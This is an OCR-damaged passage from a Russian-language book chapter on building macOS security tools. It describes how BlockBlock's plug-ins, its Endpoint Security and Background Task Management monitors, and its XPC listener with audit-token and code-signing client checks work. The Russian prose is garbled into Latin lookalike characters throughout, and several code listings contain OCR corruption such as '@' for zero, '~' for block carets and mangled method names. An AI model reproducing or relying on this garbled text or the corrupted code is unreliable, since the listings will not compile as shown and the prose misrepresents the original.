Bce plug-ins HacnegytoTca OT nonb3oBaTenbckoro 6a3oBoro knacca ¢ MMeHem PluginBase, KOTOPbIN
peanusyeT 6a3oBble METOAbI, HaNnpuUMep cTaH4apTHbIM initialization method n meToabl Ana npoBepkuy,
cootBeTcTBYeT nu file event nHTepecytowemy cobbiTuto. Initialization method initWithParams:
NpVYHUMaEeT OOVH NapameTp, CroBapb, coaepxalumn metadata plug-in (nuctuHr 11-2).

for(NSString* regex in watchItemInfo[@"paths"]) {

NSRegularExpression* compiledRegex =

[NSRegularExpression regularExpressionWithPattern:regex

options:NSRegularExpressionCaseInsensitive error:NULL];

[self.regexes addObject:compiledRegex];

}
self.alertMsg = watchItemInfo[@"alert"];
self.description = watchItemInfo[@"description"];

return self;

i
JInctnHr 11-2: Jlormka 6a3oBoro knacca gnst nHuuyuanmdauum obbekra plug-in

3aecb BMAHO, YTO METOA CHavarna KoMnunupyeT Kaxabli U3 uHTepecyrowmnx nyten plug-in B regular
expressions, a 3aTeM M3BnekaeT Apyrue 3HavyeHus n3 metadata dictionary, 4ToObl coxpaHuTb 1X B
instance variables.

[pyroi BaxHbIi 6a3oBbI MeTog, isMatch:, npuHumaeT file object, npeacTaenstowmin cobbiTne M3
6ubnuotekn FileMonitor, a 3aTem npoBepsieT coBnageHne ¢ MHTepecyWwnMmn NyTamm plug-in (MMCTUHR
11-3).
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-(BOOL)isMatch: (File*)file {

_ block BOOL matched = NO;

NSString* path = file.destinationPath;

[self.regexes enumerateObjectsWithOptions:NSEnumerationConcurrent
usingBlock:~(NSRegularExpression* _Nonnull regex, NSUInteger idx, BOOL
* _Nonnull stop) {

NSTextCheckingResult* match = [regex firstMatchInString:path options:@
range:NSMakeRange (@, path.length)];

if( (nil == match) || (NSNotFound == match.range.location) ) {

return;

¥
matched = YES;

*stop = YES;
ja

return matched;

}
JluctnHr 11-3: ConoctasneHue filepath

MeTop 3anyckaeT enumerateObjectsWithOptions:usingBlock: Ha maccuBe regular expressions
plug-in, 4To6LI MTEpMpOBaTL NO BCeM HUM concurrently. B concurrently invoked callback block oH
ncnonb3yeT Tekylee regular expression, 4Tobbl NPoBEPUTbL, COOTBETCTBYET M destination file
nHTEepecyowemy plug-in cobbituto. Hanpumep, ans plug-in launch item meTton npoBepuT, COOTBETCTBYET
nu file event cosganuio property list B katanore launch daemon unu agent. Ecnu coBnagexue
NpOMCXOAMT, MeTof ycTaHaBnmBaeT flag n 3aBepliaeT enumeration.

Ipyrve meTtoabl B 6a30BoM knacce plug-in octaBneHbl Ang peanmsauumm kaxagbim plug-in. Hanpumep,
MeTop block:, Bbl3blBaeMbli, Korga nonb3oBaTtenb HaxumMaeT KHonky Block B alert, ynanut persistent
item. OTa norvka JormKkHa pasnuyaTtbCs B 3aBUCMMOCTM OT TUMNa 3akpenneHHoro anemeHTa. Ecnu Bam
WMHTepecHa KoHKpeTHas uninstallation logic ana kaxgoro Buaa persistent item, nocmoTtpuTe kog meToga
block: kaxgoro plug-in.

B cBoen ocHoBe BlockBlock nornowaet codbitnsi us 6udnumoteku FileMonitor, ncnone3aytowern Endpoint
Security ot Apple. Nocne nHuumanusaumm obbekta FileMonitor KOHKPETHBIMU UHTEPECYIOLLMMUN
cobbiTaMKM OH 3agaeT callback block n 3atem HaunHaert file monitoring (nuUcTuHr 11-4).

es_event_type_t events[] = {ES_EVENT_TYPE_NOTIFY_CREATE, ES_EVENT_TYPE_NOTIFY_WRITE,

ES_EVENT_TYPE_NOTIFY_RENAME, ES_EVENT_TYPE_NOTIFY_EXEC, ES_EVENT_TYPE_NOTIFY_EXIT};
FileCallbackBlock block = ~(File* file) {

[self processEvent:file plugin:nil message:nil];

¥

FileMonitor* fileMon = [[FileMonitor alloc] init];

[fileMon start:events count:sizeof(events)/sizeof(events[@]) csOption:csNone callback:block];

JInctuur 11-4: Helper method, Bbi3biBaembin ona kaxgoro file event

Ecnun BHMMaTeneHO NOCMOTPEeTb Ha uHTepecytowwme Endpoint Security events, nepeganHbie file monitor,
Bbl yBauTe Kak file, Tak n process events. MimeeT cmbicn nHnumanuanposars file monitor file events, a
process events HyXHbl HaM, 4TOObI 3anucbiBaTb apryMeHTbl MPOLEeCCoB, co3aatowmx persistent items.
XOTS HE KaXXabl MPOLIECC, 3aKPENIIAIOLLMIA ANTIEMEHT, BbI3bIBAETCS C apryMeHTaMu, MHOTME BbI3bIBalOTCS,
N B 3TUX Cry4asx Mbl BKNOYaeM aprymeHThbl B alert, nokazaHHbIN NONb3oBaTento, YTobbl MOMOYbL EMY
onpenenuTb, aBNsieTcsa nu persistence event benign nnu malicious. MNpexae yem obcyxaatb 06paboTky
file input/output events, obpaTtnTe BHUMaHue, 4To file monitor logic 3anyckaeTca BbI3OBOM MeToAa
start:count:csOption:callback:.

Korpga file monitor nony4aeT cobbITusi, OH BbI3biBaeT yka3aHHbIN callback block ¢ o6bekTom File,
npegcrtaenawwmm cobeiTve. Callback npocto nepenaet aT1oT 06bekT helper method ¢ umeHem
processEvent:plugin:message:. OTOT MeToA BbI3bIBaeT MeTog isMatch: kaxgoro plug-in, 4ToObl
yBuaeTb, cooTBeTcTBYeT Nu file event kakum-nnbo persistence locations, Hanpumep cosgaHuto .plist B
katanorax launch daemon mnnu agent. Ecnn kakon-nm6o plug-in 3anHtepecoBaH B file event, BlockBlock
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co3pgaeT nonb3oBaTenbckun 00bEKT Event kak ¢ file object, npeacraensowmm persistence event, Tak u ¢
cooTBeTCTBYOLWMUM plug-in.

3aTtem meTo NpoBepsieT, COOTBETCTBYET NN COObITUE Kaknm-nnbo cywecteytowum rules. Rules
co34aloTes, korga nonb3oBarternb B3anmogenctayeT ¢ alert. OHu moryT nmbo paspelsaTb, NMnbo
6roknpoBaTtb persistence items Ha ocHoBe chakTopoB Bpoge startup file anemeHTa nnm npouecca,
OTBETCTBEHHOrO 3a 3anyck cobbitusa. Hanpumep, Ha moen developer box, rae st Takke HEMHOro
3aHnmatock photography u photo editing, ectb rules, paspelatrowme cosgaHue pasnnyHblix Adobe
Creative Cloud launch agents (pucyHok 11-3).

L ]
Process
= backgroundtaskmanagementd (com.apple.backgroundtaskmanagementd)

Applica

backgroundtaskmanagementd (com.apple.backgroundtaskmanagementd)

PucyHok 11-3: Rules BlockBlock MoryT paspeluate unm 6nokupoBaTtb cobbITUSA OT yKasaHHbIX NPOLECCOB.

Mockonbky Adobe 4yacto obHOBNSAET 3Tu persistent items, 6e3 aTux rules MHe nNpuwnock 66l perynsapHo
oTBeyaTb Ha alerts BlockBlock. Ecnn oH HaxoguT matching rule, BlockBlock aBTomaTnyeckun BoinonHaeT
nencrteue, ykasaHHoe B rule. MiHauye oH gocTtaBnsieT cobbitue login item BlockBlock, 4utobbl nokasats alert
nonb3oBaTtento. Bckope Mbl BHUMaTenbHee paccMoTpuM, Kak bidirectional XPC obecneunBaeTt 3Ty
KOMMyHuKkaumio. Ho cHavana uccnegyem mucnonssoBaHue BlockBlock cobeituin Endpoint Security
Background Task Management.

Background Task Management Events

OpavH HegocTaTok ucnonb3oBaHus global file monitor anst oGHapyxeHua persistence cocTomT B TOM, YTO
OH [0BONbLHO HEAhEKTMBEH, NOCKONbKY file events npomMcxoaaT NoYTU NOCTOSAHHO Kak 4YacTb
HOpMarbHOro NOBEAEHUSI CUCTEMBI. XOTS Mbl MOMM Obl CMArYUTL NOTOK traffic, nCnonb3ys BO3MOXHOCTK
mute inversion Endpoint Security, paccmoTpeHHble B rnase 9, BlockBlock gomkeH MOHUTOPUTL
MHOXXECTBO MECTOMOSIOXKEHUN, YTOOLI 0OHapyxMBaTb HECKONBbKO MeTOA0B persistence, 1 mute inversion
MOXET He MOJIHOCTbI YCTpaHUTb HeadhdpekTuBHOCTL file monitor-based approach.

Jlyywnm peweHrem anga Hawmx uenen 6oina 6ol nognMcka Ha persistence events, a He file events. B
npegbiaywmx rnaeax s obcyxagan nogeuctemy Background Task Management, HegaBHee OononHeHWe K
macOS, koTopoe ynpasnsieT cambiMUX NOMYNAPHbIMK TUNamK persistence, Bkntoyvas login items, launch
agents n daemons. Background Task Management Takke go6asuna B Endpoint Security aBa cobbiTus:
ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM ADD u
ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_REMOVE, koTopble clients MoryT nonyyaTb BCAKWUiA pas, koraa
login nnun launch item 3akpennserca nnm yganseTcs.

HepaeHue Bepcun BlockBlock ncnone3ytoT nepsoe 13 aTux cobbiTui, 4Tobbl deprecate 6onbLuyto YacTb
cBoero file monitoring-based approach, obecneumBas 3HaunTENbHLIN NPUPOCT 3PHEKTUBHOCTY U
ynpowas code base. OgHako MHCTPYMEHT BCe eLle MOHUTOPUT Takue persistence mechanisms, kak
cronjobs, ans kotopbix Background Task Management noka He reHepupyeT Endpoint Security events, Tak
4YTO OH HEe MOXET NoNHoCTbIo deprecate cBow file monitoring.

Mpumevanue. XoTta Endpoint Security TexHmnyeckn gobasmna atn cobbiTust Background Task
Management B macOS 13, oHn He paboTtanu koppekTHo. Hanpumep, Endpoint Security gpoctaeBnsana
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notification He Tonbko Ansa newly installed item, HO 1 ANgA kaXaoro cyLllecTByloLLEro item Toxe. Xyxe Toro,
ans login items oHa Boob6Le He goctaensna event! Nocne Toro kak 9 coobwmn o6 atux flaws, Apple
ucnpaswuna obe npobrnembl B macOS 14. 41 Mpwn 3anycke Ha macOS 13 n Gonee paHHNX BEPCUSIX
BlockBlock oTkaTbiBaeTcs k file monitoring-based approach.

Kog, peanuaytowmin Endpoint Security client ans Background Task Management, MOXHO HanTh B nanke
Daemon/Monitors/BTMMonitor.m, a plug-in Ans o6paboTku cobbITuI - B Daemon/Plugins/Btm.m.
HauHem ¢ paccmoTperust MoHuTopa Background Task Management. Kak 1 ¢ nobbiM KO4OM, KOTOPbIV
xoyeT ucnonb3oBaTtb Endpoint Security events, Mbl HA4UMHaeM ¢ onpeaeneHnst UHTEPECYHOLLNX events,
cosganusa Endpoint Security client ¢ handler block n nognucku Ha ykasaHHble events (MUCTUHT 11-5).
es_event_type_t btmESEvents[] = {ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_ADD};
es_new_client(& endpointClient, ~(es_client_t* client, const es_message_t* message) {

// Message handler code removed for brevity

1)
es_subscribe(self.endpointClient, btmESEvents, sizeof(btmESEvents)/sizeof(btmESEvents[0]));

JlnctnHr 11-5: NMopnucka Ha cobbiTust ES_EVENT_TYPE_NOTIFY BTM_LAUNCH_ITEM_ADD

Koa HaunHaeT ¢ co3gaHuns maccuBa C eQUHCTBEHHBIM event, Ha KOTOPbIN HY>XHO noanuncaTtbes. 3aTtem ¢
nomoubto APl es_new_client oH cosgaeT HOoBbIM Endpoint Security client. MNockonbky client sensaetcs
instance variable knacca BTMMonitor, mbl go6aBnsiem k Hemy underscore (_), 4Tobbl nepenaTb ero API
es_new_client. Mbl JOomKHbI caenaTb 370, MOTOMY YTO compiler aBToMaTnyeckn reHepupyert instance
variable c npedukcom underscore Bcakuin pas, korga Mol 06bsBNsAeM instance variable ¢ nomoLubio
Objective-C keyword @property. Bl O6b1uHO MBI HE cebinaemes HanpsiMyto Ha instance variables, a
nony4aem K HUM goctyn Yyepe3s object; ogHako B cnydae C APls Endpoint Security, Takux kak
es_new_client, koTopbIn oxugaeT pointer, Mbl 4OMMKHbI BbINONHUTL direct reference.

HanomHto, 4to API es_new_client npuHumaeT handler block, KOTOpbIN HYXHO BbI3blBaTb KaXablil pas,
Korga npoucxoaut subscribed-to event. Bckope Bbl yBuguTe ko, kKotopbii MoHuTOop Background Task
Management B BlockBlock BeinonHsieT B aTom callback. KoHeuHo, npexae 4yem Endpoint Security cmoxeT
AoCTaBnNATb events, Mbl JOMKHbI COOBLLNTE i, YTO 3anHTepecoBaHbl B MOAMNUCKE; 3TO Mbl Aeraem vyepes
APl es_subscribe.

JInctuHr 11-6 nokaswbiBaeT koA B handler block.

es_new_client(&_ endpointClient, ~(es_client_t* client, const es_message_t* message) {
File* file = [[File alloc] init:(es_message_t*)message csOption:csNone];

if( (ES_BTM_ITEM_TYPE_AGENT == message->event.btm_launch_item_add->item->item_type) ||
(ES_BTM_ITEM_TYPE_DAEMON == message->event.btm_launch_item_add->item->item_type) ) {
file.destinationPath =
convertStringToken(&message->event.btm_launch_item_add->item->item_url);

}

es_message_t* messageCopy = NULL;

if(@available(macOS 11.0, *)) {

es_retain_message(message);

messageCopy = (es_message_t*)message;

} else {

messageCopy = es_copy_message(message);

¥

[monitor processEvent:file plugin:btmPlugin message:messageCopy];
}s

JInctnHr 11-6: Jlornka moHuTopumHra cobbituin Background Task Management

Cravana kog uHunumnanuanpyet obbekT File BlockBlock, nepegaBas nonydeHHoe coobuweHune Endpoint
Security. 3atem ans launch agents n daemons oH Hanpsimyto 3agaeTt destination path cdanna paBHbIm
property list Tonbko 4YTO co3gaHHOro anemeHTa. Mbl Haxoaum aToT property list B uneHe item_url
CTPYKTYpbl item B cTpykType btm_launch_item_add BHyTpu coobieHns Endpoint Security.

HakoHel, ko BbI3biBaeT MeTo BlockBlock processEvent:plugin:message:, pacCCMOTPEHHLIN paHee B
rnaese. OgHako 3geck plug-in, nepegaHHbIn MeToay, ABnsieTca ak3emnnapom plug-in Background Task
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Management B BlockBlock, o koTopom s norosopto ganee. 3ameTbTe, 4TO Mbl Nepeaaem retained instance
unu copy coobueHunsa Endpoint Security. 3to notomy, 4to BlockBlock gomkeH yaepxusaTtb coobLueHne
O51s nocnenyoLwero nCnonb3oBaHus (Hanpumep, ans o6paboTku aCMHXPOHHOrO OTBETa NOJib30BaTeNs).
O6paTtunTe BHMUMaHWE, YTO koA Bbl3oBeT bonee coBpemeHHbi APl es retain_message, ecnu
BbINOSTHAETCHA Ha HefJaBHen Bepcum macOS, X0Ta OTKaTUTCA K UCMOSb30BaHUIO es_Ccopy_message, ecnu
BbINOJTHAETCH Ha CcTapbix Bepcusx. [ockonbky oH siBHO retained nnm copied coobuieHne, BlockBlock
OormkeH ocBOOOAMTL ero, koraa oHo 6oMblue He HYXXHO, Bbl3BaB cOOTBeTCTBYOWMA API
es_release_message unun es_free_message.

Kak 1 Bce octaneHble plug-ins BlockBlock, plug-in Background Task Management peanusyet metoabl Ans
nonyyeHns UMeHu n nNyTu persisted item, onst GrokMpoBaHMsA aNemMeHTa No KoMaH4e Nonb30oBaTeNs U
MHOroe gpyroe. KoHeuHo, noruka, KOTOPYK OH KUCnornb3yeT ANd 3Toro, cneu,mcbqua ana persistence
events Background Task Management. PaccmoTtpum metop plug-in itemObject:, koTopbi Bo3BpaLlaeT
nyTb Kk persisted executable. Kak nokaszaHo B n1CTUHre 11-7, Mbl MOXeM M3BNEeYb 3Ty MHAOPMALUIO U3
JocrtaeneHHoro coobuennsa Endpoint Security, xoTa oHa HEMHOro pa3nuyaeTcsa B 3aBUCUMOCTH OT TOrO,
3akpenuncs nu anemeHT kak launch item vnum kak login item.

-(NSString*)itemObject: (Event*)event {

NSString* itemObject = nil;

if( (ES_BTM_ITEM_TYPE_AGENT ==

event.esMessage->event.btm_launch_item_add->item->item_type) ||

(ES_BTM_ITEM_TYPE_DAEMON ==

event.esMessage->event.btm_launch_item_add->item->item_type) ) {

itemObject =

convertStringToken(&event.esMessage->event.btm_launch_item_add->executable_path);

} else {

NSString* stringToken =

convertStringToken(&event.esMessage->event.btm_launch_item_add->item->item_url);
itemObject = [[NSURL URLWithString:stringToken] path];

}

return itemObject;

}
Jinctuur 11-7: Bosepat nyTu K persisted item

Kop cHauana nposepsieT Tvn persisted item. Ygo6Ho, yto Endpoint Security ykasbiBaeT 3Ty nHcdopmMaumo
KOHCcTaHTaMu Bpode ES_BTM_ITEM_TYPE_AGENT n ES_BTM_ITEM_TYPE_DAEMON v 3a4aet Tun aneMeHTa B
yneHe item_type cTpykTypbl item. Ecnu persisted item ssngaetcs launch item, kog nssnekaet ero
executable path 13 uneHa executable_path cTpykTypbl btm_launch_item_add. YTo6bl Npeobpa3oBatb
ero n3 Tvna es_string_token_t B Objective-C string object, mbl BbidbiBaem helper-gyHkumio BlockBlock
convertStringToken.

Ons login items nyTb K persisted item MoXHO HalT B YUneHe item_url cTpykTypbl item. CHOBa Bbi3biBaeM
helper-cbyHkumto convertStringToken. OgHako NyTh K arneMeHTy Ha camom ferne saensaetca URL object,
NoaToMy Mbl JOIKHbI Npeobpa3oBaTth ero obpatHo B URL, a 3aTem ncnonb3oBatb cBoNCcTBO path URL,
yTobbI NonyuuTs filepath B dopme cTpokn.

Opyron npumeyatensHbin MeTog B plug-in Background Task Management - block:, koTopbiin BlockBlock
BbI3bIBaET, Korga nosnb3osaTenb HaxnmaeT Block B alert, nokazaHHom gng persisted item. Nockonbky
noruka yganeHus kak launch, Tak u login items ectb B 6onee ctapbix file monitor-based plug-ins, plug-in
Background Task Management moxeT Bbl3BaTb COOTBETCTBYIOLLME plug-ins, 4Tobbl 3a6nokupoBaTh
anemeHT (nuctuHr 11-8).

-(BOOL)block: (Event*)event {

__block BOOL wasBlocked = NO;
switch(event.esMessage->event.btm_launch_item_add->item->item_type) {
case ES_BTM_ITEM_TYPE_APP:

case ES_BTM_ITEM TYPE_LOGIN_ITEM: {

LoginItem* loginItem = [[LoginItem alloc] init];

wasBlocked = [loginItem block:event];

break;
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case ES_BTM_ITEM_TYPE_AGENT:

case ES_BTM_ITEM TYPE_DAEMON: {

Launchd* launchItem = [[Launchd alloc] init];
wasBlocked = [launchItem block:event];

break;

}

return wasBlocked;

}
JlnctnHr 11-8: Jlornka 6noknpoBaHus, BbidbiBatoLas plug-ins login u launch item

YTto6bl onpegenntb TUN anemeHTa Background Task Management, ko cHoBa UCNonb3yeT YneH
item_type, HangeHHbI B coobeHmn Endpoint Security Background Task Management. s login items
(koTopble MoryT BkntodaTh persisted user applications) kog cosgaet ak3emnnsap plug-in Login Item B
BlockBlock, a 3aTem BbI3biBaeT ero metoq block:. [ns launch agents n daemons oH ucnonbsyeTt
NOX0XWUIN noaxon, cosfgasad ak3emnngap plug-in launch item.

Ha sTom 3aBepluaeTcs obcyxaeHne moHutopa u plug-in Background Task Management B BlockBlock.
Hanee paccmoTtpum XPC communications, kotopble BlockBlock wunpoko ncnonb3syer.

XPC

XPC - ato de facto mexaHuam interprocess communication (IPC) B macOS. Bcsakun pas, korga Bbl nuwieTe
WHCTPYMEHTbI C HECKOSBbKMMM KOMMOHEHTaMu, Hanpumep privileged daemon mnu System Extension u
agent unu app, BbinonHswwunca B desktop session nonb3oBaTtensi, KOMNOHEHTaM, CKOpee BCero,
notpebyeTtcsa B3aumogericTeoBaTth Yepe3 XPC. B aTom pasgene s gam 063op Tembl, Bkrtodas XPC APIs n
KOHKpPETHbIE NpuMepbl. Ecnv Bam nHTepecHO y3HaTb BonbLue, MOXHO rnyoxe nayunts koa BlockBlock,
KOTOpbIN LWMPOKO ncnons3yeT bidirectional XPC.

B HekoTopon cteneHn XPC cooTBeTcTBYET TpaauumoHHon client/server model. OanH KOMNOHEHT (B
Hawem cnyyae daemon BlockBlock) HacTpanBaeT XPC server, unu listener. ABTopnaoBaHHbIl client
(Hanpumep, login item BlockBlock) moxeT nogkntounTbes K listener, a 3aTem yganeHHo Bbi3BaTh privileged
methods, peanunsoBaHHble BHyTpH listener. [Jonyctum, nonb3oBatenb oTBevaeT Ha alert BlockBlock,
WMHCTPYKTUPYS MHCTPYMEHT 3abnokmnpoBaTh persistently installed item, a 3atem cosgaeT rule, 4Tobbl
aBTOMaTU4YeCcKn ONoknpoBaTh CBA3aHHbIe anieMeHThl B byayuiem. Yepes XPC login item BlockBlock
MOXeT BbI3BaTh privileged meToabl daemon block u create rule. 3T MeToabl BLINOMHSOTCS B
KoHTekcTe privileged daemon, 4ToObl rapaHTMpPOBaThL HaNM4Me COOTBETCTBYIOLLMX permissions ans
yaaneHus gaxe privileged persistent items. OHu Takke moryT co3gaBaTb rules B privileged context, 4ToObI
noMoYb 3awmTnTbea OoT malicious subversions.

CospaHue Listeners and Delegates

HaeanTte nccnegyem, kak daemon BlockBlock cosgaet XPC listener u, 4to BaxkHee, rapaHTUpyeT, 4YTo
nogknoyaTbCcs K HeMy MOryT Tonbko authorized clients. NocnegHuin NYHKT KPUTUYECKM BaXXeH Ans security
tools, notomy uto ecnu octaButb XPC interface HesawmLLEHHbIM, HUYTO HE NOMeLlaeT BpefoHOoCHOMY 10
nnmn Yemy-nnbo ellle NOAKMYNTLCH K HEMY U BbI3BaTh privileged methods daemon.

BlockBlock peanusyet XPC listener n connection logic B interface ¢ nmeHem XPCListener, KOTOpbIN
cooTtBeTcTBYeT protocol NSXPCListenerDelegate (nUcTuHr 11-9).
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@interface XPCListener : NSObject <NSXPCListenerDelegate>
@property(weak)NSXPCConnection* client;
@property(nonatomic, retain)NSXPCListener* listener;

}
JTnctunur 11-9: Knacc XPC listener

Y106kl co3paTtb XPC interface, MmoxHo ncnonb3osaTs initialization method NSXPCListener
initWithMachServiceName:, koTopbit npuHumaeT ums XPC service kak argument. Jinctunr 11-10 - ato
koA mn3 knacca XPCListener BlockBlock, kotopbin co3naet ero XPC listener.

#tdefine DAEMON_MACH_SERVICE @"com.objective-see.blockblock"
self.listener = [[NSXPCListener alloc] initWithMachServiceName:DAEMON_MACH_SERVICE];

JluctmHr 11-10: Munumnanusauma XPC listener

O6paTtnTte BHMMaHue, 4YTo Apple noctponna XPC noBepx ropa3go 6onee ctaporo Mach message passing
framework. 3710 00bsACHAET, NOYemMy Bam ByayT BCTpeyaTbCHa MMEHA METOAOB Bpoae
initWithMachServiceName:.

Mocne co3paHus listener cneayet ykasatb delegate, koTopbit cogepxuT cootBeTcTBYtowwme XPC delegate
methods. System frameworks XPC aBTomaTtuyeckn Bbi3oBYT 3T delegate methods, ecnu oHu
peanu3oBaHsbl. [1ocne BbI30Ba OHW MOTYT BbINOMHATL BaXHble 3ag4a4yun, Hanpumep NpoBepsiTb ModbIX
clients.

Mockonbky knacc XPCListener BlockBlock cootBeTcTBYET protocol NSXPCListenerDelegate, OH NpOCTO
yctaHaenmBaeT delegate listener paBHbiM cebe. 3aTeM OH Bbi3biBaeT MeTof resume listener, 4Tobbl
HayaTb 0bpaboTky client connections (nuctuHr 11-11).

self.listener.delegate = self;
[self.listener resume];

Jinctunr 11-11: YcraHoBka delegate 1 Bo3oGHoBneHwe listener

Teneps clients, Takne kak login item BlockBlock, MmoryT nHuuyuupoBatb noaknoyeHue K listener. Ho
npexage 4YemM nokasartb, Kak UMEHHO client MoXeT BbINONHUTE 3TO AEWCTBME, Mbl JOIMKHbI rapaHTMPOBaTh,
4YTO NOAKMYaTLCS MOTyT TonbKo authorized clients.

N3BneuyeHune Audit Tokens

Ecnu nossonutb nobdomy client nogkntoyatscs k Bawemy privileged XPC interface, untrusted code
CMOXeT 3anyckaTb privileged methods listener. 3Ta npobnema nopaxana core macOS XPC listeners, a
Takke MHorue third-party tools. B kauecTBe koHKpeTHOro npumepa cmotpute mon goknag DEF CON 2015
roga, roe nogpobHo onncaHa aKkcnnyataums HesalmueHHoro u privileged XPC interface writeConfig B
macOS ans elevation privileges go root. [6]

MpumeyaHue. Bepcum macOS HaumHasa ¢ 13 ynpoluatoT npouecc authorization, u g paccmoTpto a1 warm
B pasgene "Setting Client Requirements" Ha cTpaHuue 270. B sTom pasgene s nokpoto authorization
methods, koTopble AenatT BallM MHCTPYMEHTbI COBMECTUMbIMU C Bonee paHHUMKU BEPCUSMU
onepaumoHHON CUCTEMBI.

YTto6bl aBTOPM30BLIBaTH clients, Mbl MoxxeM 0b6paTuTbest K meTogy NSXPCListenerDelegate
listener:shouldAcceptNewConnection:. " Ecrn delegate npegocTaBnseT peanvsaumnio 3Toro
MeToaa, nogcmuctema XPC aBTomaTU4eCkn BbI3OBET €ro BCAKWIA pas, koraa client noitaetca
noakntounTbesa. Metos agomkeH nsyunts candidate client u 3aTem BepHyTb Boolean value,
nokasbiBatoLlee, NpuHMMaTh nu client.
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Onsa authorized clients aTOT MeToa Takke JOIMKEH HACTPOUTL connection; Bckope st 06CyKy, Kak aTo
caenaTtb. HakoHel, nockonbKy Bce connections HaumHatoTcsa B suspended state, noka oHn aBTopusytoTca
N HacCTpamBalOTCs, STOT METOA AOSHKEH BbI3BaTb METO resume Ha nNepefaHHOM 06bekTe
NSXPCConnection ans authorized clients. 3To no3sonsieT connection HadaTb obpabaTtbiBaTh NoObLIE
nony4yeHHble messages, a Takke OTnpaBnATb COOCTBEHHbIE (IUCTUHT 11-12).

-(BOOL)1listener(NSXPCListener*)listener shouldAcceptNewConnection:

(NSXPCConnection*)newConnection {

BOOL shouldAccept = NO;

// Code to authorize the client, and ignore unauthorized ones, removed for brevity

[newConnection resume];

shouldAccept = YES;

bail:

return shouldAccept;

}
Jinctnur 11-12: BosobHoBReHne connection

XoTs Mbl MOIIM Obl NOMbLITAaTLCS NPOBEPUTDL client HeckonbkMMK cnocobamu, MHorne noaxonbl flawed nnm
incomplete. Hanpumep, ncnonssosaHue process ID candidate client onacHo, nockonbky attacker moxeT
aKcnnyaTupoBaTtb TOT dPakT, YTO CUCTEMa NOBTOPHO Mcnonb3yeT process IDs, 4tobbl npuHyanTs listener
paspewnTb unauthorized client.

Jlyywnin meTop - npoBepuTb audit token client n nonyunTb ero code signing information. K coxxanenuto, B
ctapbix Bepcusix macOS Apple He npegocTtaensieT audit token client B rotoBoM Buae, a 3Ha4MT Ham
npuxoamTcsa npuberHyTb k HekoTopon Objective-C trickery. Btopoi aprymeHT meToaa
listener:shouldAcceptNewConnection: - pointer Ha 06BbeKkT NSXPCConnection, cogepxaluin
nHopmaumtio o client, nbiTatowemes nogkntountbcst K XPC service. XoTsa oH cogepxut audit token B
CcBOeM cBonCTBe auditToken, 3TO CBOWCTBO private, TO eCTb Mbl HE MOXXeM 06paTUTLCS K HeMy
Hanpsimyto. K cuacTbto, Objective-C introspective, nosToMy Mbl MOXXeM MONy4YMTb AOCTYN K private
properties Yepes class extension. B nuctnHre 11-13 BlockBlock co3gaet extension ans knacca
NSXPCConnection.

@interface ExtendedNSXPCConnection : NSXPCConnection {

audit_token_t auditToken;

}
@property audit_token_t auditToken;

@end
JluctnHr 11-13: PacwmpeHue knacca NSXPCConnection ansa gocrtyna k ero private audit token

O6patuTe BHMMaHMe, 4TO extension onpegensieT ogHO CBOMCTRO: private audit token, Haxogsawmiics
BHYTpU knacca NSXPCConnection. lNMNocne o6bsasneHns aToro extension Mbl MOXeM NOMAYYUTb SOCTYM K
private audit token nogkntovatowerocs client, kak nokasaHo B nUCTUHre 11-14.

-(BOOL)1listener: (NSXPCListener*)listener shouldAcceptNewConnection: (NSXPCConnection*)
newConnection {

audit_token_t auditToken = ((ExtendedNSXPCConnection*)newConnection).auditToken;
}
JluctnHr 11-14: Joctyn k audit token nogkntoyatorierocs client

OT0T Kof typecasts 06bekT NSXPCConnection, npeacrtaBnsAowmin nogknoyatoerocs client, kak oobekT
ExtendedNSXPCConnection. 3atem oH MoxeT 6e3 Tpyaa mnsenedb yneH audit token client. Umesa audit
token Ha pykax, kog MOXeT npoBepuTb code signing information o client, 3aTem 6e3onacHo npoBepuTb
identity client u ogo6puTb connection, ecnu client authorized.

215



U3BneyeHune Code Signing Details

YUTto6bl npoBeputb code signing information client, peanusauus BlockBlock delegate method
listener:shouldAcceptNewConnection: BbINOMHSET cneaytowme wark. CHayana oHa ucnosnb3yeT
n3enedeHHbIn audit token, 4tobbl nony4nTe dynamic code signing reference ans client process. OHa
ucnonb3yet aTy reference, 4UTobObl NnoaTBEPANTL, UYTO code signing information client valid, 3atem
n3Bnekaet information. [lononHMTenbHO oHa n3Bnekaet client code signing flags, 4Tobbl yoeantbes, 4To
client 6611 ckomnunupoBaH ¢ hardened runtime, 3awuwas ot runtime injection attacks. HakoHeu, oHa
nposepsieT, yTo validated code signing information cogepxut bundle ID helper application BlockBlock,
developer code signing certificate Objective-See n supported client versions. JiuctnHr 11-15 nokasbiBaeT
peanusauuio 3Toro requirement.

"anchor apple generic and identifier \"com.objective-see.blockblock

.helper\" and certificate leaf [subject.CN] = \"Developer ID Application:

Objective-See, LLC (VBG97UBATA)\" and info [CFBundleShortVersionString]
>= \"2.0.0\"";

JluctnHr 11-15: Code signing requirement anga nposepku nogkntovatowuxcs XPC clients

naea 3 nokpbiBana code signing requirements, Ho faBaiTe pa3bepem aToT. CHavana mbl Tpebyem,
4yT06bI client 6bin nognucaH certificate, BolgaHHbIM Apple paspaboTtyvkam. Janee mbl Tpebyem, 4TobbI
identifier client coBnagan c identifier helper Objective-See BlockBlock. Mbl Takke Tpebyem, 4Tobbl client
6bin nognucaH code signing certificate Objective-See. HakoHeu, mbl Tpebyem client versions 2.0.0 vnu
HoBee, NocKombKy cTapble Bepcuu helper BlockBlock He nogaepxuBatoT 6onee cospemeHHblr hardened
runtime, octaenasa nx yassuMbiMu K subversion. (8]

Ecnn Bce a3t validation and verification steps 3aBepluatotcsa ycnewHo, daemon BlockBlock 3HaeT, uTo
client, nbiTatowminca nogkntountbes Kk ero XPC interface, oaencteutensHo SBNsieTCs Hea4aBHEN BeEpCcUen
helper component BlockBlock u uto attacker unv malware He BbInONHMM CKpbITOE tampering 3Toro
component.

JlnctnHr 11-16 nokasbiBaeT kof, peanuayowun nonHyto client authorization. ObpaTnte BHUMaHue Ha
ucnonb3oBaHue pasnunuHblx code signing APIs SecTask*, NokpbITbiX B rnaee 3. [10CKONbKY KpanHe BaXXHO
Bcerga nposepATthb return value atnx APIs, aToT kog cogepxuT basic error handling.

#tdefine HELPER_ID @"com.objective-see.blockblock.helper"

#tdefine SIGNING_AUTH @"Developer ID Application: Objective-See, LLC (VBG97UB4TA)"
